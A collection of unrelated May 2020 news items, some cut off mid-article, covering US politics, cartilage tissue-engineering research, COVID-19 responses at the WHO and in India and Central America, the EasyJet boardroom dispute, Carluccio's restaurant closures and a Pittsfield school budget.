I was struck by the condescension and the arrogance in his comments, Scott said in a conference call arranged by the Trump campaign. I could not believe my ears that he would stoop so low to tell folks what they should do, how they should think and what it means to be black.

Charlamagne Tha God later said on CNN, A black woman running mate is necessary, especially after today. He added that the question of what makes somebody black is a discussion for black people, not for a white man.

Trump himself has a history of incendiary rhetoric related to race.

When he launched his presidential campaign in 2015, Trump called many Mexican immigrants rapists. Campaigning in 2016, he asked black voters, What the hell do you have to lose?

In 2017, he said there are good people on both sides of the clash in Charlottesville, Virginia, between white supremacists and anti-racist demonstrators that left one counterprotester dead.

In 2018, during a private White House meeting on immigration, Trump wondered why the United States was admitting so many immigrants from shithole countries like African nations. He also blasted four Democratic congresswomen of colour, saying they hate America and should go back to where they come from, even though all are U.S. citizens and three were born in the U.S.

Black voters helped resurrect Bidens campaign in this years primaries with a second-place finish in the Nevada caucuses and a resounding win in the South Carolina primary after hed started with embarrassing finishes in overwhelmingly white Iowa and New Hampshire. Sixty-one per cent of black voters supported Biden during the primary season, according to AP VoteCast surveys across 17 states that voted in February and March.

Biden is now seeking to maintain his standing with black voters while building the type of multiracial and multigenerational coalition that twice elected Barack Obama, whom he served as vice-president. He has already committed to picking a woman as his running mate and is considering several African American contenders who could energize black voters. But Biden is also considering candidates such as Klobuchar, who could appeal to white moderates.

There is little chance of a sudden shift in support for Trump among black voters. A recent Fox News poll shows just 14% of African Americans who are registered to vote have a favourable opinion of Trump, compared with 84% who view him unfavourably.

Seventy-five per cent of African American registered voters say they have a favourable view of Biden; 21% hold an unfavourable opinion.

There is a risk, however, of black voters, especially those who are younger, staying home in November, which could complicate Bidens path to victory in a tight election. The Breakfast Club is a particularly notable venue for Bidens comments because the program is popular among younger African Americans.

Adrianne Shropshire, executive director of BlackPAC, a national organization that works to mobilize black voters, said many black Americans are loyal Biden supporters. But she said his comments make it harder to attract people who are on the fence about voting.

The first thing I thought about was to what degree did this just turn off those voters and how much more work the rest of us are going to have to do to convince people that it is worth their time and their efforts, she said.

Bidens selection of a running mate, along with his pledge to appoint the first black female Supreme Court justice, could help motivate voters. Hes begun vetting vice-presidential contenders, a process hes said will likely last through July.

Several black women are among those under consideration, including California Sen. Kamala Harris, Georgia voting rights advocate Stacey Abrams, Atlanta Mayor Keisha Lance Bottoms, Florida Rep. Val Demings, Ohio Rep. Marcia Fudge and Susan Rice, Obamas former U.S. ambassador to the U.N.

 Stafford reported from Detroit. Associated Press writers Jill Colvin, Hannah Fingerhut and Will Weissert in Washington contributed to this report.
(LOS ANGELES and CHICAGO) -- Cartilage is far from being like cartilage. As a rubber-like elastic tissue with widely varying properties, it lubricates our joints to keep them healthy and in motion, and forms many of our internal structures such as the intervertebral discs in our spine, the flexible connections between our ribs, and our voice box, as well as external tissues like nose, and ears.

Specifically, in joints, the wear-and-tear of cartilage over time eventually can result in the painful bone-on-bone contacts, and the bone damage and inflammatory reactions that plague patients with osteoarthritis, the most common form of arthritis. In the US alone, 32.5 million adults are affected by osteoarthritis, and thus far there is no strategy that allows lasting repair or replacement of degenerating joint (articular) cartilage.

To overcome this problem, researchers are using tissue engineering strategies to generate cartilage from stem cells outside of the human body, but "it can be challenging to prevent fibrocartilage and hypertrophic cartilage from forming when using tissue engineering strategies", said Eben Alsberg, Ph.D., the Richard and Loan Hill Professor of Bioengineering, Orthopedics, Pharmacology and Mechanical & Industrial Engineering at the University of Illinois in Chicago, who was previously at Case Western Reserve University. Upon implantation into joints, engineered cartilage can become unstable and dysfunctional, and methods that can determine more complex conditions for the production of high-quality cartilage ex vivo and its maintenance in vivo thus far were limited.

Now, a collaborative research team led by Ali Khademhosseini, Ph.D., the Director and CEO of the Terasaki Institute who was previously Director of the University of California, Los Angeles (UCLA) Center for Minimally Invasive Therapeutics, and Alsberg, has developed a multi-component biomaterial-based screening approach that identifies material compositions, and mechanical and molecular stimuli enabling human stem cells to differentiate into cells capable of generating higher-quality articular cartilage. The study is published in Science Advances.

"We took a holistic approach to cartilage engineering with this multicomponent in vitro approach by screening with high-throughput through many combinations of material, biomechanical and molecular parameters, which in this complexity had not been done before," said Khademhosseini. "This allowed us to define material properties and compositions, and specific mechanical, biochemical, and pharmacological contributions that help guide human mesenchymal stem cells (hMSCs) down a differentiation path towards articular cartilage-producing chondrocytes in vitro, and better maintain their functionality when transferred into mice."

Chondrocytes, which are differentiating from hMSCs, form cartilage by secreting collagen and other biomolecules into their extracellular environments where they form a hydrated elastic matrix. However, as differentiated cartilage only retains relatively low numbers of normally functioning chondrocytes, and lacks supportive blood vessels, it cannot efficiently repair and regenerate itself.

In the study, the team assembled a compression bioreactor from 3D printed components with an array of 288 individual hydrogel-based biomaterials for screening of multiple parameters presented in the native developing cartilage microenvironment. These hydrogels were made up of two different biomaterials, oxidized methacrylated alginate (OMA) and polyethylene glycol (PEG). The two hydrogel components can be cross-linked to each other to create a biodegradable and biocompatible dense interconnected elastic network. Within the biomaterial, the researchers embedded hMSCs and, in addition, cell-binding ligands that mimic the normal extracellular environment of developing cartilage, and growth factors favoring cartilage cell differentiation. The hydrogel biomaterial with the encapsulated hMSCs could be mechanically manipulated between fixed and movable plates, whereby the movable plate is cyclically pushed up from the bottom with finely calibrated forces, causing the biomaterial scaffold to be compressed and then relaxed again each time.

To be able to support the hMSCs with cartilage-specific cell culture medium and expose them to additional biochemical cues while they differentiate, the device was separated into multiple chambers and each chamber was linked to a microfluidic support system. Since all relevant biomaterial, mechanical and chemical parameters could be individually varied between biomaterials of the array, the researchers could study multiple combinations of cues simultaneously.

"Our approach pinpointed biomaterial compositions that provided a sweet spot of hydrogel physical properties, just the right amounts of extracellular matrix and critical growth factors, and mechanical stimulation that hMSCs needed in this complexity to develop into highly functional articular chondrocytes in the engineered system," said co-first author Junmin Lee, Ph.D., a postdoctoral fellow in Khademhosseini's group.

Alsberg added that the team's device-driven biomaterials strategy "identified cues in the cellular microenvironment that could preferentially drive engineered tissue constructs to a preferred hyaline cartilage phenotype". Chondrocytes that matured in the biomaterials secreted substantial amounts of extracellular matrix molecules that compose natural joint cartilage.

Lee together with the other co-first author Oju Jeon, Ph.D., a Research Professor working with Alsberg, and additional team members, also studied molecular pathways that chondrocytes normally use to transduce mechanical signals from their extracellular environment to control their gene expression. "We found that suboptimal biomaterial properties that elevated the activity of a mechanotransducing protein called YAP and its down-stream effects were causing chondrocytes to adopt a less functional state strongly resembling the one in hypertrophic cartilage in patients," said Jeon. "In contrast, inhibiting YAP with a specific drug favored the formation of functional articular chondrocytes in our system."

The YAP inhibitor as well as an inhibitor of WNT, another protein involved in mechanotransduction, were also found by the team in a search for drugs that would favor the formation of healthy articular cartilage in their system.

To investigate whether their overall approach could enable the generation of chondrocytes that would also be more effective in vivo, they scaled up a successful condition that resulted from their screening procedure from a hydrogel 1 mm in diameter to one that measured 8 mm in diameter. "When we actively inhibited YAP or the mechanical signal transducer WNT during 21 days of chondrocyte differentiation in vitro, implanted the engineered tissue under the skin of mice, and analyzed the implants again after an additional 21 days, we observed higher-quality chondrocytes with significantly less hypertrophy compared to controls that were not treated with inhibitors prior to implantation," said Jeon.

"The opportunities that our approach offers and the information it already helped us provide is an important step towards the generation of truly therapeutic articular cartilage, and some of the insights we gleaned could also be tooled for enhancing the function of existing joint cartilage in patients with osteoarthritis and for more personalized strategies," said Khademhosseini. His group continues their efforts at the interface of the Terasaki Institute's Personalized Implants, Personalized Cells, and Personalized Materials platforms in collaboration with the Alsberg Stem Cell & Engineered Novel Therapeutics (ASCENT) Laboratory.

###

Additional authors on the study are Ming Kong, Ph.D., Amr Abdeed, Ph.D., Jung-Youn Shin, Ph.D., Ha Neul Lee, Ph.D., Yu Bin Lee, Ph.D., Wujin Sun, Ph.D., Praveen Bandaru, Daniel S. Alt, KangJu Lee, Ph.D., Han-Jun Kim, DVM/Ph.D., Sang Jin Lee, Ph.D., Somali Chaterji, Ph.D., and Su Ryon Shin, Ph.D. This work was funded by the National Institutes of Health under grant AR066193.

PRESS CONTACT

Terasaki Institute for Biomedical Innovation

Stewart Han, shan@terasaki.org, +1 818-836-4393

The Terasaki Institute for Biomedical Innovation (terasaki.org) is a non-profit research organization that invents and fosters practical solutions that restore or enhance the health of individuals. Research at the Terasaki Institute leverages scientific advancements that enable an understanding of what makes each person unique, from the macroscale of human tissues down to the microscale of genes, to create technological solutions for some of the most pressing medical problems of our time. We use innovative technology platforms to study human disease on the level of individual patients by incorporating advanced computational and tissue-engineering methods. Findings yielded by these studies are translated by our research teams into tailored diagnostic and therapeutic approaches encompassing personalized materials, cells and implants with unique potential and broad applicability to a variety of diseases, disorders and injuries.

The Institute is made possible through an endowment from the late Dr. Paul I. Terasaki, a pioneer in the field of organ transplant technology.
Due to the new US tax deadline and school closures during COVID-19, the application deadline for the 2020 Kobrin Family Scholarship has been extended to July 15.

The scholarship is available to a qualified, full-time student of the Jewish faith from Orange, Osceola or Seminole County who will be attending the University of Central Florida.

The scholarship is available in the amount of $2,500 per year for a maximum of four (4) years. The student must maintain a 3.1 GPA (based on a 4.0 scale) each year in order to remain qualified for the scholarship.

Students should return completed applica...
President Ronald Reagan replaced all Carter-appointed inspectors general when he took over in 1981, but he later rehired some of them and, since then, the tradition has held that they remain in place when a new president takes office, a sign of respect for their nonpartisan status. Presidents may remove them, but Congress required an explanation of the reasons and, in 2008, put in an additional safeguard by imposing a 30-day waiting period.

Mr. Trump, who likes to brag that he has total authority over the executive branch, has shown that he has no intention of playing by those rules. In removing Mr. Linick, for example, the president immediately stripped him of authority and told Congress he no longer had full confidence in him, but did not say why.

Mr. Trump later told reporters that he did so only because Mr. Pompeo asked him to.

Ive said, Who appointed him, and they said, President Obama, the president said. I said, look, Ill terminate him. I was happy to do it, Mr. Trump later said. Mr. Pompeo added on Wednesday that he should have done it some time ago.

A replacement was announced immediately: Stephen J. Akard, who also will keep his current political appointment, subordinate to Mr. Pompeo, as director of the State Departments Office of Foreign Missions.

Among other things, Mr. Linick had been investigating whether Mr. Pompeo and his wife, Susan Pompeo, inappropriately used a taxpayer-paid government employee to run personal errands, and whether Mr. Pompeo acted legally last year when he circumvented Congress on selling arms to Saudi Arabia and the United Arab Emirates.

This week, Mr. Pompeo denied that he knew about what Mr. Linick was investigating other than the arms deal and said it was patently false that he asked Mr. Trump to fire him as retaliation. But he also refused to say what his reason was.
Source: Xinhua| 2020-05-22 19:58:45|Editor: huaxia

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BEIRUT, May 22 (Xinhua) -- The Lebanese Armed Forces (LAF) Commander Joseph Aoun said on Friday that LAF retains its right to confront the "Israeli enemy's schemes" and persistent breaches of Lebanon's national sovereignty, a statement by LAF reported.

"We reiterate once again our right to completely recover the farms of Shebaa, the hills of Kfarshouba, the northern part of the Ghajar town and the territories with regard to which Lebanon maintains a claim," Aoun said on the occasion of Liberation Day.

Aoun mentioned the importance of the historic achievement when the Israeli enemy withdrew from Lebanon in 2000.

"It is an achievement that wouldn't have seen the light has it not been for the steadfastness and resistance of our people and the insistence on the right to liberate all our land," he added.

Aoun urged LAF members to commit themselves to serve the country, and defend it against all dangers. Enditem
Easyjet's outspoken founder Sir Stelios Haji-Ioannou has suffered a bruising defeat after he failed to oust four of the airline's directors.

He accused the airline of 'voting fraud' after he lost a shareholder ballot to unseat bosses including chief executive Johan Lundgren and chairman John Barton.

Almost 60 per cent of shareholders opposed his motions, which also included sacking finance director Andrew Findlay and non-executive director Andreas Bierwirth.

In a tailspin: Sir Stelios Haji-Ioannou accused the airline of 'voting fraud' after he lost a shareholder ballot to unseat bosses

The Greek-born entrepreneur called the meeting to protest against the board's refusal to cancel a 4.5billion deal for 107 planes with Airbus.

He believes the order will bankrupt the company as it contends with the coronavirus crisis  and has waged a war with management over it for the past two months, vowing to pick off directors.

Last week he even offered a bounty of up to 5million for anyone who could provide evidence that could get the contract scrapped.

After his loss he said the results 'constitute voting fraud' because at least 15 per cent of the shares were held by three 'straw men' organisations.

Stelios claimed these three investors, which included Invesco and Phoenix, are 'controlled' by Airbus and should not have been counted.

At the meeting, Stelios had asked the board if any shares were indeed controlled by Airbus.

Barton said he didn't believe any were and that he had not asked Airbus  an answer which Stelios branded as 'pathetic'.

Stelios said: 'Ask the bloody question Mr Barton and get a bloody answer out of Airbus. Yes or no.'

Stelios went further still  accusing Findlay and former Easyjet directors, now-ITV chief executive Carolyn McCall and Stobart Group boss Warwick Brady, of having a secret dinner in 2016 with a lawyer in Switzerland he believes is linked to Airbus.

Easyjet later said the allegations were 'simply not true'.

Stelios pledged to sue management if Easyjet goes bust later this year.

He set up the airline in 1995 and he and his family still own 34 per cent of shares.

To stay afloat during the crisis, Easyjet has grounded its entire fleet of 344 planes and sought a 600million loan from the Government.

The budget airline plans to restart flights across the UK and France next month.
[May 22, 2020] Research Report with COVID-19 Forecasts - Automotive Diagnostic Scan Tools Market 2020-2024 | Rising Number of Vehicle Workshops to Boost Growth | Technavio

Technavio has been monitoring the automotive diagnostic scan tools market and it is poised to grow by USD 2.50 billion during 2020-2024, progressing at a CAGR of over 1% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005079/en/ Technavio has announced the latest market research report titled Global Automotive Diagnostic Scan Tools Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. ACTIA Group, AVL List GmbH, CarMD.com Corp., Continental AG, Delphi Technologies Plc, DENSO (News - Alert) Corp., Robert Bosch GmbH, Siemens AG, Snap-on Inc., and Softing AG are some of the major market participants. The rising number of vehicle workshops will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Rising number of vehicle workshops has been instrumental in driving the growth of the market. Automotive Diagnostic Scan Tools Market 2020-2024: Segmentation Automotive Diagnostic Scan Tools Market is segmented as below: Product PC-based Tools Hand-held Tools

Geography APAC Europe North America South America MEA

To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43772



Automotive Diagnostic Scan Tools Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our automotive diagnostic scan tools market report covers the following areas:

Automotive Diagnostic Scan Tools Market Size

Automotive Diagnostic Scan Tools Market Trends

Automotive Diagnostic Scan Tools Market Industry Analysis This study identifies the development of integrated vehicle health management as one of the prime reasons driving the automotive diagnostic scan tools market growth during the next few years. Automotive Diagnostic Scan Tools Market 2020-2024: Vendor Analysis We provide a detailed analysis of vendors operating in the automotive diagnostic scan tools market, including some of the vendors such as ACTIA Group, AVL List GmbH, CarMD.com Corp., Continental AG, Delphi Technologies Plc, DENSO Corp., Robert Bosch GmbH, Siemens AG (News - Alert), Snap-on Inc., and Softing AG. Backed with competitive intelligence and benchmarking, our research reports on the automotive diagnostic scan tools market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Automotive Diagnostic Scan Tools Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist automotive diagnostic scan tools market growth during the next five years

Estimation of the automotive diagnostic scan tools market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the automotive diagnostic scan tools market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of automotive diagnostic scan tools market vendors Table Of Contents: Executive Summary Market Landscape Market ecosystem

Value chain analysis Market Sizing Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019-2024 Five Forces Analysis Five forces summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition Market Segmentation by Product Market segments

Comparison by Product

PC-based tools - Market size and forecast 2019-2024

Hand-held tools - Market size and forecast 2019-2024

Market opportunity by Product Customer Landscape Geographic Landscape Geographic segmentation

Geographic comparison

APAC - Market size and forecast 2019-2024

Europe - Market size and forecast 2019-2024

North America - Market size and forecast 2019-2024

South America - Market size and forecast 2019-2024

MEA - Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography Market Drivers Market Challenges Market Trends Vendor Landscape Overview

Vendor landscape

Landscape disruption Vendor Analysis Vendors covered

Market positioning of vendors

ACTIA Group

AVL List GmbH

CarMD.com Corp.

Continental AG

Delphi (News - Alert) Technologies Plc

DENSO Corp.

Robert Bosch GmbH

Siemens AG

Snap-on Inc.

Softing AG Appendix Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005079/en/

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Pittsfield School Committee Accepts Fiscal 2021 Budget

PITTSFIELD, Mass.  The School Committee has accepted a fiscal 2021 budget that is level funded at $65,113,700 but fears further reductions in Chapter 70 could cause more cuts.

The School Committee saw a more detailed budget on Wednesday and Superintendent Jason McCandless noted that further reductions in state education funding could be a reality.

"Really the only option is to roll up our sleeves and join with ... those who care about kids," he said. "A cut to Chapter 70 of that magnitude is simply not acceptable and the city and the commonwealth will not stand for it."

With COVID-19 all but resetting the state budget, Pittsfield Public Schools administrators have been tasked with building a budget with little information on Chapter 70 funds other than knowing they won't have nearly as much money as anticipated. Pittsfield had been in line for a $2.5 million increase in Chapter 70.

So while the district waits for more information, they have put forth a level-funded budget of $65,113,700 that translates to about $1.4 million in cuts. This could eliminate almost 30 positions.

McCandless said believes that there is a possibility that Chapter 70 funds may not be level. After sitting in on some meetings with the Massachusetts Association of School Superintendents, he said there are some who think that Chapter 70 could be reduced up to 15 percent.

In terms of numbers, McCandless said a 10 percent decrease would translate to a funding decrease of $4,768,606

"To consider a reduction of that magnitude is simply a place where I can't let my heart go and I really struggle to let my head go," he said. "This is a staggering amount of money and it would really increase not five times, but six or seven times the number of cuts that we are discussing here tonight."

For this reason more (24) reduction in force notices will sent out even though, currently, the hope is to keep actual job loss to a minimum.

Further reductions in staff would "skyrocket" unemployment costs placing more pressure on the school budget. Because of this the district needs to be prepared for larger reductions, McCandless said.

Committee member William Cameron went back to the 1980s when Proposition 2 1/2 decimated the school budget and caused the closure of schools and massive reductions in staff.

He asked McCandless if the administration would consider an expedited school reorganization process.

"Those are cuts of what I would say biblical proportions ... like that occurred when Proposition 2 1/2 went through and devastated the school district for years," he said. "An entire generation of young teachers was lost."

McCandless said, using some very rough math, it costs about $5.5 million annually to operate a building in the district.

"A 10 percent decrease would most certainly be akin to closing a school. I think in reality it would be more akin to closing two schools," he said. "To do that in short order would simply set this city back and its schools and children back."

Mayor Linda Tyer noted how discouraging it was that the financial impacts of the pandemic will surely reset much of the progress the city has made.

"My heart is thumping in my chest with the idea of the impact this will have on our public schools and municipal services," she said.

She said she believed it was still important to pass a budget so there is a path forward. She noted the city still will have the ability to amend it, hopefully for the better, but be prepared to make further cuts.

"We are faced with having to build a budget on assumptions in a complete vacuum of information," she said. "I still believe it is important that we pass a budget so we have a framework and can go forward."

McCandless broke down the reductions in more detail and said out of the 14 teaching positions they are proposing to eliminate, 11 will be regular education. This breaks down further into two high school teachers, two elementary specialists, two teachers of department, one case worker, four elementary teachers, and three elementary interventionists who will be redeployed within their buildings.

They also plan to eliminate 10 paraprofessional positions, one school adjustment counselor, a district curriculum position, one custodial position,and one nurse position.

McCandless said luckily these reductions reflect few actual staff reductions for teachers and paraprofessionals. With 13 teachers retiring, four paraprofessionals retiring, and some positions being eliminated that were never filled, this number should be kept to a minimum.

"We recognize through retirement, through attrition, through other means we will not be seeing people separated from their employment in any number at all for simply financial reasons alone," he said. "That is if we can maintain a level funded budget."

He said by chance the district receives some influx of money these positions will be the first to be returned.

He said these details are likely to change as the year goes on.

"They will continue to change throughout October and November and although the big picture is the same we tried to put a finer point on it this evening," he said.

McCandless did note that they actually were able to bring on an electrical teacher and two English language learner teachers through grants.

He said there are about another $700,000 in reductions in the budget. The bulk of this amount is the "virtual elimination" of the curriculum line item.

The City Council will review the school budget at a future budget hearing.

"We have been here before. We have been in dire straits before," McCandless said. "We will continue to serve this community with integrity, with gusto, and with compassion and understanding. We will get through this."
The 73rd World Health Assembly is an unusual one because it is the first time for the meeting to hold virtually. It is also extremely important because it deals with a massive global health crisis. Dr. David Nabarro, Special Envoy of WHO Director-General on COVID-19, told Peoples Daily.

Dr. Nabarro praised Chinas contribution to WHO and its effort to fight the global COVID-19 pandemic, Indeed I was very impressed. The President of the People's Republic of China chose to address the World Health Assembly. It was great to see his support for the World Health Organization.

President Xi Jinping made 6 proposals to fight against COVID-19, including to provide US$2 billion over two years, set up a global humanitarian response depot and hub in China, make COVID-19 vaccine as a global public good when available, etc. Dr. Nabarro believed it is a very generous financial contribution, particularly focusing on the needs of developing countries.

The COVID-19 pandemic not only presents a public health threat to almost all countries, but also has dramatic social and economic implications. Dr. Nabarro called for all countries to support for global actions, especially the work of WHO. He said, All members of the World Health Assembly own WHO together. What's really necessary now is that each country to support WHO in a cooperative and collaborative manner to enable WHO to be the strong agency it needs to be.

Dr. Nabarro stressed that although countries in the World Health Assembly, the governing body of WHO, had different opinions, WHO served the world without any bias. Dr. Nabarro contended that a huge amount of work needed to be done. The quick and unanimous approval of a resolution on COVID-19 was a very positive sign to empower WHO to look after peoples health around the world.

The resolution on COVID-19 also mentioned to make extensive immunization against COVID-19 as a global public good. Dr. Nabarro said, It'll be great if there is a vaccine developed. It will be even greater if the vaccine provided, it should be safe and effective for all people and available to the developing countries.

Dr. Nabarro stressed that COVID-19 showed the importance of having well-functioning community level public health services that can protect people from disease and keep societies healthy. He called for health issues to be given priority and public health must be strengthened to enable good defenses against the virus as well as other possible health challenges in the future.
There is no doubt that long-term facilities face challenges in preventing Covid-19 from entering and spreading in their buildings. However, lets not lose sight in the statistics of apparent excess nursing home deaths of the above realities. Working within these challenges and constraints, the health care workers providing nursing home care during the Covid-19 pandemic are just as much heroes as the first responders.

Howard Fillit

New York

The writer is the chief science officer of the Alzheimers Drug Discovery Foundation and a clinical professor of geriatric medicine at the Icahn School of Medicine at Mount Sinai.

To the Editor:

Re Rikers Guards Fear Outbreak Will Hit Home (front page, May 20):

Keeping those who live and work in New York Citys jails safe amid a global pandemic has required us to transform the Department of Correction. Its the challenge of a lifetime, and weve worked tirelessly to do it.

The toll has been heavy. From the beginning of this crisis, we have followed the guidelines from the Centers for Disease Control and Prevention and the citys Health Department to protect our officers.

We began distributing personal protective equipment on March 11 for prescribed situations, and by April 3  two weeks before the state issued the same requirement  we mandated masks for everyone. We also partnered with Northwell Health to provide quick access to testing for all personnel. We screen everyone entering our facilities, separate them appropriately, and constantly seek to improve our response. Department of Correction first responders are also eligible for free voluntary antibody testing.
Union Health and Family Minister Dr Harsh Vardhan on Friday said that in a country of 1.35 billion people, there are only 0.1 million cases of COVID-19. This comes as there are a total of 1,18,447 confirmed COVID-19 cases in India including 48,534 people cured, 66,330 active cases and 3,583 deaths and one migrated.

"Today we have a mortality of 3 per cent only. In a country of 1.35 billion, there are only 0.1 million cases of COVID19," he said.

"India faced COVID-19 in a proactive and pre-emptive way, with unmatched scale and determination. The recovery rate is above 40 and the doubling rate is 13 days," he added.

Dr Vardhan took up the new assignment at the 147th session of the WHO Executive Board, being held virtually. WHO Director-General Tedros Ghebreyesus welcomed him for the new role: "I would like to congratulate and welcome Dr Harsh Vardhan on his election as the new chair. Dr Harsh Vardhan, you have a tough act to follow but I'm sure you will do it with the same energy and commitment as Dr Nakatani."

"I am aware I am entering this office at a time of global crisis on account of this pandemic. At a time, when we all understand that there will be many health challenges in the next two decades. All these challenges demand a shared responsibility," he said.

READ: Coronavirus Live Updates: India's cases soar to 1,18,447; Railways reopen ticket counters

India was among 10 nations that were elected by the 73rd World Health Assembly to the Executive Board of the WHO for a period of three years. The other new members include Botswana, Colombia, Ghana, Guinea-Bissau, Madagascar, Oman, Republic of Korea, Russia, and the United Kingdom.

One of the primary functions of the Board is to implement the decisions and policies of the WHA and facilitate its work. The chairman of the board is selected on a rotational basis for one year among regional groups, whereas the WHA is the decision making body of the WHO.

While expressing condolences on the lives lost due to the COVID-19 pandemic and expressing gratitude to the COVID warriors who are at the forefront of the battle, the Union Minister also spoke about India's response to the deadly virus by elaborating on how the Indian government on a war footing implemented proactive measures against the virus.

READ: 12 people test positive for COVID-19 in HP, total rises to 165

Meanwhile, as the country battles with the deadly Coronavirus pandemic, the total count of COVID-19 cases is rising by the hour. As many as 6,088 COVID-19 cases were detected across the country on Friday, making it the highest spike in 24 hours, surpassing the previous high. As many as 150 coronavirus patients succumbed to death in the last 24 hours.

States such as Maharashtra, Tamil Nadu and Delhi are reporting COVID-19 cases at an alarming rate as the financial capital and the national capital continues to possess a large number of red zones and the hotspots in the country.

READ: Honour for India that Dr Harsh Vardhan will lead WHO Exec board amid Covid: Piyush Goyal

READ: India's role crucial with Harsh Vardhan as WHO Executive Board Chairman amid US-China row

(with inputs from ANI)

(Image Credits: PTI)
Were trying to pick the best of a bunch of bad options to propose, and on top of that, we have the uncertainty right now that many, many of the items and many of the facts we need to really do thorough budget-making and effective budget-making, we will not know enough, and we will not know it by the time our new fiscal year begins, Harris said.
C arluccios has been bought in a rescue deal which will save 30 of its restaurants but result in more than 1,000 job losses.

The restaurant chain has been sold to Giraffe and Eds Easy Diner owner Boparan Restaurant Group.

But the move has also resulted in the redundancy of 1,019 Carluccios employees after it was unable to secure the future of the chains other 40 restaurants.

Phil Reynolds, joint administrator and partner at FRP, said: "The Covid-19 lockdown has put incredible pressure on businesses across the leisure sector, so it has been important to work as quickly and as decisively as possible in an extremely challenging business environment to secure a sale."

Carluccios fell into administration in March as the coronavirus pandemic cast a shadow over the future of the dining chains 71 UK restaurants and 2,000 employees.

The restaurant chain was founded by the charismatic Antonio Carluccio

Under Government restrictions aimed at curbing the coronavirus pandemic, all cafes and restaurants have been forced to close.

Prior to the outbreak Carluccio's had also been hit by an industry-wide crunch in the casual dining sector.

The dining chain, founded by Antonio Carluccio in 1991, was forced to close a third of its branches in a 2018 Company Voluntary Arrangement (CVA) rescue plan.

The move comes amid a tough time for the restaurant sector with trouble at chains Las Iguanas, Cafe Rouge and Bella Italia.
Source: Xinhua| 2020-05-22 19:48:33|Editor: huaxia

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SAN FRANCISCO, May 21 (Xinhua) -- A Chinese American community leader called for U.S.-China cooperation and an end to bigotry at a webinar held on Thursday.

Lillian Kwok Sing, Northern California's first Asian American female judge, said the climate in the United States is a frightening one for Asian Americans and reminds her of what happened in history when Chinese Americans were terrorized simply because of their origins.

The webinar was organized by the Commonwealth Club of California with the theme of halting bigotry in its tracks.

Sing, who retired in 2015, reviewed the dark era of the Chinese Exclusion Act, the first law enacted by the U.S. Congress in 1882 to target Chinese and restrict Chinese immigration to the United States.

"Whenever there's a crisis, they have to find somebody to blame," said Sing, who is also the co-founder and co-chair of the San Francisco-based Comfort Women Justice Coalition.

The Chinese have been blamed during the COVID-19 pandemic, which is especially dangerous, she noted. "There are so many hate crimes going on right now."

In response to the alarming escalation in xenophobia and bigotry resulting from the COVID-19 pandemic, Asian Pacific Planning and Policy Council, Chinese for Affirmative Action, and the Asian American Studies Department of San Francisco State University launched the Stop AAPI (Asian American and Pacific Islander) Hate Reporting Center to collect and track incidents of anti-AAPI hate violence.

"They started on March 19 and in two months they got 2,000 reports of hate incidences," Sing said.

"The American dream sometimes turns into an American nightmare when this ugly head of racism and discrimination is raised," she said.

Sing also called on the United States and China "to work together to solve the world problems like this pandemic."

"We cannot split up." Enditem
Strict coronavirus lockdowns in Guatemala and El Salvador have so battered local economies that hundreds of families are flying white flags outside their homes or waving them in the street: not in surrender, but to seek food and assistance.

After 50 days of lockdown that has snuffed out their livelihoods, Ana Orellana and three neighbors put up a white flag and a sign asking for food on the graffiti-scrawled concrete boarding house they share in central San Salvador, the capital of El Salvador.

Orellana, a street vendor of coffee, said that since the government ordered people to stay home in March, she has had no income to pay for food or the $75 monthly rent on the room she inhabits alone in the building. Now she takes turns with her neighbors to scavenge throwaway food at a city market.

I go looking through the bins where the rubbish is, the 51-year-old said. I go to the Tiendona market to get stuff, because we really dont have tomatoes or onions now, and we make a tomato stew here without oil, just parboiled.

Alongside the white flag is a misspelled sign over a boarded up window saying we were not beneficiaries to signal they did not receive a $300 voucher issued in March by President Nayib Bukele to 1.5 million poor families, about three-quarters of the population.

The bleak outlook for Orellana and her companions extends deep into Central America and much of Latin America, where the pandemic threatens to worsen chronic poverty among the millions of people who live hand-to-mouth.

Food protests have broken out in countries including Venezuela and Chile. El Salvador and neighboring Guatemala, two of the poorest countries in the Americas, have borne some of the strictest quarantine measures.

In towns and villages across the two countries, hundreds of signs have gone up asking for food, and people have taken to the streets to wave white flags in distress.

Food parcels from the national government and donations from ordinary people have helped to alleviate some of the want, but resources are stretched.

Were worried about the virus and food, because if the virus doesnt kill us, hunger will, said Jose Rodriguez, 69, a street vendor who lives in another San Salvador boarding house with 100 other people. We desperately need things to eat.

Guatemalas government says it has delivered nearly 190,000 food boxes to over 1.2 million people, about 7% of the population. In El Salvador, security forces began handing out 1.7 million bags of food to the poor on Sunday.

COLOR CODING

After Guatemalas government erected the first sanitary cordon around the impoverished municipality of Patzun on April 5 to contain the virus, hundreds of cut-off residents began putting up rags and white cloths in a call for help.

